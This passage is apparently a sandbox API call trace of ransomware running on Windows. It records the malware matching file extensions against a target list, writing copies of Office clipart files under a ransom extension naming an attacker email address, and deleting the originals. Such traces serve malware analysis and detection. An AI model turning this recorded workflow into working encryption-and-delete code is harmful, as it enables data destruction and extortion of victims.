[0085.762] lstrlenW (lpString=".zip") returned 4 [0085.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.762] lstrlenW (lpString=".rar") returned 4 [0085.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.762] lstrlenW (lpString=".bz2") returned 4 [0085.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.762] lstrlenW (lpString=".7z") returned 3 [0085.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0085.762] lstrlenW (lpString=".dbf") returned 4 [0085.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0085.762] lstrlenW (lpString=".1cd") returned 4 [0085.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0085.762] lstrlenW (lpString=".jpg") returned 4 [0085.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.763] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.763] lstrlenW (lpString="ED00172_.WMF") returned 12 [0085.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0085.763] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2700) returned 1 [0085.763] CloseHandle (hObject=0x378) returned 1 [0085.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0085.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0085.764] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.764] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0085.764] GetLastError () returned 0x0 [0085.764] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xa8c, lpOverlapped=0x0) returned 1 [0085.773] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xa90, lpOverlapped=0x0) returned 1 [0085.774] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0085.774] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0085.774] SetEndOfFile (hFile=0x39c) returned 1 [0085.774] CloseHandle (hObject=0x39c) returned 1 [0085.774] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.775] SetEndOfFile (hFile=0x378) returned 1 [0085.775] CloseHandle (hObject=0x378) returned 1 [0085.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0085.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.776] lstrlenW (lpString=".doc") returned 4 [0085.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.776] lstrlenW (lpString=".docx") returned 5 [0085.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.776] lstrlenW (lpString=".pdf") returned 4 [0085.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.776] lstrlenW (lpString=".xls") returned 4 [0085.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.776] lstrlenW (lpString=".xlsx") returned 5 [0085.776] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.776] lstrlenW (lpString=".ppt") returned 4 [0085.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.776] lstrlenW (lpString=".zip") returned 4 [0085.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.776] lstrlenW (lpString=".rar") returned 4 [0085.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.776] lstrlenW (lpString=".bz2") returned 4 [0085.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.777] lstrlenW (lpString=".7z") returned 3 [0085.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.777] lstrlenW (lpString=".dbf") returned 4 [0085.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.777] lstrlenW (lpString=".1cd") returned 4 [0085.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.777] lstrlenW (lpString=".jpg") returned 4 [0085.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.777] lstrlenW (lpString=".doc") returned 4 [0085.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.777] lstrlenW (lpString=".docx") returned 5 [0085.777] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.777] lstrlenW (lpString=".pdf") returned 4 [0085.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.777] lstrlenW (lpString=".xls") returned 4 [0085.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.777] lstrlenW (lpString=".xlsx") returned 5 [0085.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.777] lstrlenW (lpString=".ppt") returned 4 [0085.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.777] lstrlenW (lpString=".zip") returned 4 [0085.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.777] lstrlenW (lpString=".rar") returned 4 [0085.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.777] lstrlenW (lpString=".bz2") returned 4 [0085.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.778] lstrlenW (lpString=".7z") returned 3 [0085.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.778] lstrlenW (lpString=".dbf") returned 4 [0085.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.778] lstrlenW (lpString=".1cd") returned 4 [0085.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68 [0085.778] lstrlenW (lpString=".jpg") returned 4 [0085.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.778] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.778] lstrlenW (lpString="EN00006_.WMF") returned 12 [0085.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.784] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=13936) returned 1 [0085.784] CloseHandle (hObject=0x350) returned 1 [0085.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0085.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.784] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.784] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0085.785] GetLastError () returned 0x0 [0085.785] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3670, lpOverlapped=0x0) returned 1 [0085.790] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3680, lpOverlapped=0x0) returned 1 [0085.791] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0085.791] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0085.791] SetEndOfFile (hFile=0x37c) returned 1 [0085.791] CloseHandle (hObject=0x37c) returned 1 [0085.791] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.791] SetEndOfFile (hFile=0x350) returned 1 [0085.792] CloseHandle (hObject=0x350) returned 1 [0085.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0085.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.793] lstrlenW (lpString=".doc") returned 4 [0085.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.793] lstrlenW (lpString=".docx") returned 5 [0085.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.793] lstrlenW (lpString=".pdf") returned 4 [0085.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.793] lstrlenW (lpString=".xls") returned 4 [0085.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.793] lstrlenW (lpString=".xlsx") returned 5 [0085.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.793] lstrlenW (lpString=".ppt") returned 4 [0085.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.793] lstrlenW (lpString=".zip") returned 4 [0085.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.793] lstrlenW (lpString=".rar") returned 4 [0085.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.793] lstrlenW (lpString=".bz2") returned 4 [0085.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.793] lstrlenW (lpString=".7z") returned 3 [0085.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.793] lstrlenW (lpString=".dbf") returned 4 [0085.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.793] lstrlenW (lpString=".1cd") returned 4 [0085.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.793] lstrlenW (lpString=".jpg") returned 4 [0085.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.794] lstrlenW (lpString=".doc") returned 4 [0085.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.794] lstrlenW (lpString=".docx") returned 5 [0085.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.794] lstrlenW (lpString=".pdf") returned 4 [0085.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.794] lstrlenW (lpString=".xls") returned 4 [0085.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.794] lstrlenW (lpString=".xlsx") returned 5 [0085.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.794] lstrlenW (lpString=".ppt") returned 4 [0085.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.794] lstrlenW (lpString=".zip") returned 4 [0085.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.794] lstrlenW (lpString=".rar") returned 4 [0085.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.794] lstrlenW (lpString=".bz2") returned 4 [0085.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.794] lstrlenW (lpString=".7z") returned 3 [0085.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.794] lstrlenW (lpString=".dbf") returned 4 [0085.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.794] lstrlenW (lpString=".1cd") returned 4 [0085.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0085.794] lstrlenW (lpString=".jpg") returned 4 [0085.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.795] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.795] lstrlenW (lpString="EN00222_.WMF") returned 12 [0085.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.795] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=12356) returned 1 [0085.795] CloseHandle (hObject=0x350) returned 1 [0085.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0085.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0085.795] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.796] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0085.796] GetLastError () returned 0x0 [0085.796] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3044, lpOverlapped=0x0) returned 1 [0085.798] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3050, lpOverlapped=0x0) returned 1 [0085.799] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0085.799] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0085.799] SetEndOfFile (hFile=0x37c) returned 1 [0085.799] CloseHandle (hObject=0x37c) returned 1 [0085.799] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0085.799] SetEndOfFile (hFile=0x350) returned 1 [0085.800] CloseHandle (hObject=0x350) returned 1 [0085.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0085.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.800] lstrlenW (lpString=".doc") returned 4 [0085.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.800] lstrlenW (lpString=".docx") returned 5 [0085.801] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.801] lstrlenW (lpString=".pdf") returned 4 [0085.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.801] lstrlenW (lpString=".xls") returned 4 [0085.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.801] lstrlenW (lpString=".xlsx") returned 5 [0085.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.801] lstrlenW (lpString=".ppt") returned 4 [0085.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.801] lstrlenW (lpString=".zip") returned 4 [0085.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.801] lstrlenW (lpString=".rar") returned 4 [0085.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.801] lstrlenW (lpString=".bz2") returned 4 [0085.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.801] lstrlenW (lpString=".7z") returned 3 [0085.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.837] lstrlenW (lpString=".dbf") returned 4 [0085.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.837] lstrlenW (lpString=".1cd") returned 4 [0085.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.837] lstrlenW (lpString=".jpg") returned 4 [0085.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.838] lstrlenW (lpString=".doc") returned 4 [0085.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.838] lstrlenW (lpString=".docx") returned 5 [0085.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.838] lstrlenW (lpString=".pdf") returned 4 [0085.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.838] lstrlenW (lpString=".xls") returned 4 [0085.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.838] lstrlenW (lpString=".xlsx") returned 5 [0085.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.838] lstrlenW (lpString=".ppt") returned 4 [0085.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0085.838] lstrlenW (lpString=".zip") returned 4 [0085.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.838] lstrlenW (lpString=".rar") returned 4 [0085.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.838] lstrlenW (lpString=".bz2") returned 4 [0085.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") 